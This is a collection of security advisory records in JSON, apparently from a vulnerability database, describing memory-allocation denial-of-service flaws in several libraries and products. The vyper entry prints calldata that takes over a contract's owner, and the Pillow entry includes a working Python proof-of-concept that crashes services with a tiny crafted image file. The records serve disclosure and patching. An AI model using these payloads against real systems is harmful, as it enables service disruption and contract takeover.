{
  "affected": [],
  "aliases": [
    "CVE-2018-25378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-25T15:16:20Z",
    "severity": "MODERATE"
  },
  "details": "Notebook Pro 2.0 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the notebook name field. Attackers can create a malicious text file containing 500 or more characters, paste the content into the New Notebook Name field, and trigger an application crash when attempting to create and save the notebook.",
  "id": "GHSA-m3wc-c8r8-v4hm",
  "modified": "2026-05-26T13:30:45Z",
  "published": "2026-05-26T13:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25378"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45420"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/notebook-pro-denial-of-service-via-notebook-name-field"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-05T22:22:23Z",
    "nvd_published_at": "2023-05-08T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe storage allocator does not guard against allocation overflows. This can result in vulnerabilities like the following:\n```vyper\nowner: public(address)\ntake_up_some_space: public(uint256[10])\nbuffer: public(uint256[max_value(uint256)])\n\n@external\ndef initialize():\n    self.owner = msg.sender\n\n@external\ndef foo(idx: uint256, data: uint256):\n    self.buffer[idx] = data\n```\nPer @toonvanhove, \"An attacker can overwrite the owner variable by calling this contract with calldata: `0x04bc52f8 fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff` (spaces inserted for readability)\n`0x04bc52f8` is the selector for `foo(uint256, uint256)`, and the last argument `fff...fff` is the new value for the owner variable.\"\n\n### Patches\npatched in 0bb7203b584e771b23536ba065a6efda457161bb\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n",
  "id": "GHSA-mgv8-gggw-mrg6",
  "modified": "2024-11-19T16:31:53Z",
  "published": "2023-05-05T22:22:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-mgv8-gggw-mrg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/0bb7203b584e771b23536ba065a6efda457161bb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2023-76.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vyper vulnerable to storage allocator overflow"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-66485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T11:17:27Z",
    "severity": "MODERATE"
  },
  "details": "GNU cpio is vulnerable to an uncontrolled memory allocation in the make_path function at src/makepath.c. The function uses alloca to allocate stack memory based on the length of argpath, which is derived from an archive-controlled pathname during extraction. A malicious cpio archive containing a sufficiently long nested pathname causes an unbounded stack allocation, resulting in a stack overflow and crash of the cpio process. An attacker who can supply a crafted cpio archive to a victim who extracts it can cause a denial of service.\n\nThis issue has been fixed in commit 3cd514031371d8aeeaf2048aa10103e02831aaa9",
  "id": "GHSA-mmw4-f4p6-w77q",
  "modified": "2026-08-10T12:31:50Z",
  "published": "2026-08-10T12:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66485"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/08/CVE-2026-66484"
    },
    {
      "type": "WEB",
      "url": "https://git.savannah.gnu.org/cgit/cpio.git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-47313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T08:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Memory allocation with excessive size value vulnerability in Samsung Open Source Escargot allows Excessive Allocation.\n\nThis issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.",
  "id": "GHSA-mpg3-32g2-7qf5",
  "modified": "2026-05-19T09:31:20Z",
  "published": "2026-05-19T09:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/escargot/pull/1565"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "OpenTelemetry.Exporter.OpenTelemetryProtocol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.1"
            },
            {
              "fixed": "1.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-23T21:40:29Z",
    "nvd_published_at": "2026-04-23T18:16:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided `grpc-status-details-bin` trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS).\n\n### Details\n\n#5980 introduced a retry path that parses `grpc-status-details-bin` to extract gRPC retry delay information for retryable responses.\n\nOn that path:\n\n- `OtlpGrpcExportClient` captures `grpc-status-details-bin` from retryable status responses (`ResourceExhausted` / `Unavailable`).\n- `OtlpRetry` invokes `GrpcStatusDeserializer.TryGetGrpcRetryDelay` using this untrusted trailer value.\n- `GrpcStatusDeserializer.DecodeBytes` decoded a protobuf varint length and allocated `new byte[length]` without validating the bounds against the remaining payload size.\n\nA malicious or compromised collector (or a MitM in weakly-protected deployments) could return a crafted `grpc-status-details-bin` payload that forces oversized allocation and memory exhaustion in the instrumented process.\n\n### Impact\n\nIf an OTLP/gRPC endpoint is attacker-controlled (or traffic is intercepted), a crafted retryable response can trigger large allocations during trailer parsing, which may exhaust memory and cause process instability/crash (availability impact / DoS).\n\n### Mitigation\n\nThe application\u0027s configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.\n\n### Workarounds\n\nNone known.\n\n### Remediation\n\n[#7064](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7064) updates `GrpcStatusDeserializer` to validate decoded length-delimited field sizes before allocation by ensuring the requested length is sane and does not exceed the remaining payload.\n\nThis causes malformed or truncated `grpc-status-details-bin` payloads to fail safely instead of attempting unbounded allocation.",
  "id": "GHSA-mr8r-92fq-pj8p",
  "modified": "2026-04-23T21:40:29Z",
  "published": "2026-04-23T21:40:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-mr8r-92fq-pj8p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/5980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7064"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry dotnet: Unbounded `grpc-status-details-bin` parsing in OTLP/gRPC retry handling"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/iskorotkov/avro/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T12:59:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Memory Exhaustion via Unbounded Map Allocations in Avro Decoder\n\n## Summary\n\nThe Avro map decoder accepted attacker-controlled block-element counts from the wire format and grew the destination map without enforcing an upper bound. The slice decoder already had `Config.MaxSliceAllocSize` for the equivalent attack against arrays; the map decoder had no analogous limit, so a producer could declare an arbitrarily large map (in one block, or chunked across many sub-limit blocks) and exhaust process memory until the OOM killer fired.\n\nThe fix introduces `Config.MaxMapAllocSize` with cumulative enforcement across block boundaries. **The new limit is opt-in**: the field defaults to zero, which preserves the previous unbounded behavior for backward compatibility. **Upgrading to `v2.33.0` alone does not mitigate the issue** \u2014 consumers of untrusted Avro data must explicitly set `MaxMapAllocSize` on their `avro.Config`.\n\n## Description\n\nAvro maps are encoded as a sequence of blocks; each block declares a `long` element count followed by that many key/value pairs. The decoder uses these counts both to size the destination map and as the loop bound for reading entries.\n\nPre-fix, the map decoder enforced no upper limit at any layer:\n\n- No per-block element-count check.\n- No cumulative across-block element-count check.\n- No memory-budget check before `make(map[...]..., n)` or before growing the map.\n\nThe slice decoder had been hardened via `Config.MaxSliceAllocSize` and tracked cumulatively across blocks; the map decoder was a missing-by-symmetry gap. Even a partial per-block bound on maps would have been insufficient on its own \u2014 Avro permits encoding a logical map as many small blocks, so a producer could split a 10 GB map into 10,000 sub-MaxMapAllocSize blocks and still drive total allocation past any single-block threshold. The fix tracks cumulative entry count at block-header boundaries \u2014 *before* the block\u0027s entries are decoded into the map \u2014 and errors out before allocation when the running total would exceed the configured cap.\n\nTwo decoder variants were affected, both in `codec_map.go`:\n\n- `mapDecoder.Decode` \u2014 string-keyed maps.\n- `mapDecoderUnmarshaler.Decode` \u2014 `encoding.TextUnmarshaler`-keyed maps (e.g. `map[CustomKey]V` where `*CustomKey` implements `UnmarshalText`).\n\n## Affected components\n\n| File | Symbol | Pre-fix behavior | Post-fix behavior |\n|------|--------|------------------|-------------------|\n| `config.go` | `Config.MaxMapAllocSize` | Field did not exist | New `int` field; default zero means unlimited (back-compat) |\n| `codec_map.go` | `mapDecoder.Decode` | Read block count, grew map unbounded | Validates cumulative count against `MaxMapAllocSize` at each block header |\n| `codec_map.go` | `mapDecoderUnmarshaler.Decode` | Same | Same |\n\nPR [#5](https://github.com/iskorotkov/avro/pull/5) (`fix/map-alloc-chunking-bypass`) covers both decoders and adds chunking-attack tests for both. The same PR also adds the previously-missing chunking-attack test coverage for the slice path in `534c7518` \u2014 the slice *logic* was already correct, only its test coverage was incomplete.\n\n## Technical details\n\nThe fix mirrors the slice decoder\u0027s pattern:\n\n1. At each block header, read the element count as `int64`.\n2. Add it to a running total maintained across the block loop.\n3. If the running total exceeds `Config.MaxMapAllocSize` (when nonzero), return an error before allocating any of that block\u0027s entries.\n4. Otherwise, decode the block\u0027s entries into the map.\n\nPer-block enforcement alone would be bypassable by chunking; cumulative tracking closes that. The check sits at the block-header read, *before* per-entry allocation, so a single oversized block also cannot allocate first and then fail post-hoc.\n\n`Config.MaxMapAllocSize` semantics match `Config.MaxSliceAllocSize`: zero means unlimited, any positive value is the cumulative cap on element count (not byte size).\n\n## Fixed behavior\n\n`v2.33.0` adds the `MaxMapAllocSize` configuration field and the cumulative-enforcement logic in both map decoders. Both decoders return a descriptive error when the cumulative entry count would exceed the configured cap; no entries are allocated past the limit.\n\nTests added in PR #5 cover, for both `mapDecoder` and `mapDecoderUnmarshaler`:\n\n- Single-block allocation exceeding the limit (rejected before allocation).\n- Chunking attack: multiple sub-limit blocks whose cumulative count exceeds the limit (rejected at the block-header that crosses the threshold).\n- Multi-block under the limit (decoded normally).\n\n## Affected versions\n\n- `github.com/hamba/avro/v2` \u2014 all versions up to and including `v2.31.0` (repository is read-only upstream).\n- `github.com/iskorotkov/avro/v2` \u2014 all versions prior to `v2.33.0`. Note: `v2.33.0` and later are vulnerable *by default* and only protected when `MaxMapAllocSize` is explicitly configured \u2014 see Mitigation.\n\n## Fixed versions\n\n`github.com/iskorotkov/avro/v2` `v2.33.0` and later, **with `Config.MaxMapAllocSize` explicitly set to a non-zero value**.\n\nA bare upgrade to `v2.33.0` without setting `MaxMapAllocSize` leaves the decoder in the same unbounded state as `v2.32.0`. This is a backward-compatibility choice; a future major version may flip the default. Until then, treat this advisory as requiring both an upgrade *and* a configuration change.\n\nThere is no upstream fix for `github.com/hamba/avro/v2` \u2014 module path is archived. Migrate to the fork as described under Mitigation.\n\n## Mitigation\n\nMigrate from `github.com/hamba/avro/v2` to `github.com/iskorotkov/avro/v2 \u003e= v2.33.0` **and** configure an allocation cap appropriate for your schema. The recommended approach for processes that decode untrusted input is a dedicated frozen config, used at every relevant call site, rather than mutating `avro.DefaultConfig`:\n\n```go\ncfg := avro.Config{\n    MaxByteSliceSize:  102_400,\n    MaxSliceAllocSize: 10_000,\n    MaxMapAllocSize:   10_000,\n}.Freeze()\n\ndecoder := cfg.NewDecoder(schema, reader)\n```\n\nChoose the values based on the largest legitimate map your schema produces; a value 2\u201310\u00d7 that ceiling provides headroom for benign variance while still bounding worst-case memory.\n\nFor consumers that prefer the original import path, a `replace` directive in `go.mod` is supported:\n\n```\nreplace github.com/hamba/avro/v2 =\u003e github.com/iskorotkov/avro/v2 v2.33.0\n```\n\n`replace` is honoured only for the **main** module of a build \u2014 transitive consumers must add their own `replace`, or migrate the import path directly.\n\nIf you cannot upgrade immediately, the only structural workarounds are out-of-band: run decoders in memory-constrained child processes or cgroups so an OOM is contained, reject inputs from sources without resource controls, and apply per-request decode deadlines so a runaway decode at least times out before the OOM killer fires.\n\n## Proof-of-concept input\n\nTwo attack shapes, both targeting `map[string]int`:\n\n**Single-block, oversize block count.** Emit one block header declaring `n = 2\u00b3\u00b9 \u2212 1` (or any value whose `n \u00d7 averageEntrySize` exceeds available memory) followed by truncated entries. Pre-fix, the decoder pre-allocates `make(map[string]int, n)`, which fails or stalls long before EOF is reached.\n\n**Chunking bypass.** Emit `k` blocks each declaring `n / k` elements, with `n / k` below any plausible per-block threshold but `n` itself well into the GB range. Pre-fix, the decoder happily grows the map block-by-block until the OS kills the process. Post-fix with `MaxMapAllocSize = 10_000`, the decoder rejects whichever block-header read pushes cumulative count past 10,000.\n\nEither shape can be produced by hand-crafting the wire bytes; no `iskorotkov/avro` writer is needed to generate them.\n\n## References\n\n- Fix PR: [iskorotkov/avro#5](https://github.com/iskorotkov/avro/pull/5)\n- Fix commit: [`5192df9`](https://github.com/iskorotkov/avro/commit/5192df96a158999344ac96ebcb1f7461d626f6d7) (`codec_map.go`, `config.go`, tests)\n- Slice-path chunking-attack test coverage added in the same PR: [`534c7518`](https://github.com/iskorotkov/avro/commit/534c7518152a893d8b4dea962669bd1123308a00)\n- Release: [`v2.33.0`](https://github.com/iskorotkov/avro/releases/tag/v2.33.0)\n- Security policy: [`SECURITY.md`](https://github.com/iskorotkov/avro/blob/main/SECURITY.md)\n- Related advisories on this fork: [`GHSA-mc57-h6j3-3hmv`](https://github.com/iskorotkov/avro/security/advisories/GHSA-mc57-h6j3-3hmv) (integer overflow), [`GHSA-w8j3-pq8g-8m7w`](https://github.com/iskorotkov/avro/security/advisories/GHSA-w8j3-pq8g-8m7w) (CPU exhaustion \u2014 the same chunked-payload shape may trigger both before allocation pressure kicks in)\n- Cross-module precedent on `hamba/avro`: [`GO-2023-1930`](https://pkg.go.dev/vuln/GO-2023-1930) / `CVE-2023-37475` / `GHSA-9x44-9pgq-cf45`\n- Upstream (read-only): [`hamba/avro`](https://github.com/hamba/avro)\n\n## Credits\n\n- **Fix author** (commit `5192df9`, PR #5 \u2014 `MaxMapAllocSize` config field, cumulative enforcement in both map decoders, chunking-attack tests for slices and maps): Ivan Korotkov ([@iskorotkov](https://github.com/iskorotkov))\n- **Review** (commit `a5fbddcb`, \"address review comments\"): Daniel B\u0142a\u017cewicz ([@klajok](https://github.com/klajok))\n\n## Timeline\n\n- **2026-04-30** \u2014 `MaxMapAllocSize` introduced (`5192df9`); chunking-attack test coverage for slices added (`534c7518`).\n- **2026-05-01** \u2014 PR #5 merged into `main`.\n- **2026-05-06** \u2014 `v2.33.0` tagged and released.\n- **2026-05-07** \u2014 Advisory published.\n- **2026-05-15** \u2014 Advisory revised.",
  "id": "GHSA-mx64-mj3q-7prj",
  "modified": "2026-05-18T12:59:58Z",
  "published": "2026-05-18T12:59:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/iskorotkov/avro/security/advisories/GHSA-mx64-mj3q-7prj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/iskorotkov/avro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "iskorotkov/avro: Denial-of-Service Vulnerability in Decoder"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T04:16:39Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, MLS wire decoder allocates attacker-declared opaque length before bounds check.",
  "id": "GHSA-p2mp-577q-8vh2",
  "modified": "2026-08-03T09:32:36Z",
  "published": "2026-08-03T06:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/a747038bb5bbd5e29fb2b7607ab38af1fd8d1790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9012852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-12852"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-35116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-28T19:15:05Z",
    "severity": "MODERATE"
  },
  "details": "IBM MQ 9.0 LTS, 9.1 LTS, 9.2 LTS, 9.3 LTS, and 9.3 CD is vulnerable to a denial of service attack caused by an error applying configuration changes.  IBM X-Force ID:  290335.",
  "id": "GHSA-ph5p-wvqc-xxj8",
  "modified": "2024-06-29T06:31:39Z",
  "published": "2024-06-29T06:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35116"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/290335"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7157387"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7158071"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:13:35Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow\u0027s decompression bomb guard. The plugin exposes its own entry point \u2014 `PIL.GdImageFile.open(fp)` \u2014 which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50\u201361):**\n\n```python\ndef _open(self) -\u003e None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # \u2190 unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here \u2190\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() \u2192 load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\n# \u2191 C-level allocation of 4,294,836,225 bytes \u2248 4.3 GB \u2014 no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 \u00d7 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 \u00d7 MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24\u00d7 above DecompressionBombError threshold** |\n| Memory at max dimensions | **\u2248 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only \u2014 no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category \u2014 not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 \u2014 CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # \u2190 present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file \u2192 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\"\u003eH\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\"\u003eH\", 65535)         # max width\nh            = struct.pack(\"\u003eH\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = struct.pack(\"\u003eI\", 0xFFFFFFFF)    # \u003e 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}\u00d7 error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0\u00d7 error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation \u2192 `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds \u2014 no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH \u2014 a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable \u2014 attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No \u2014 any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "id": "GHSA-phj9-mv4w-65pm",
  "modified": "2026-07-20T21:13:35Z",
  "published": "2026-07-20T21:13:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
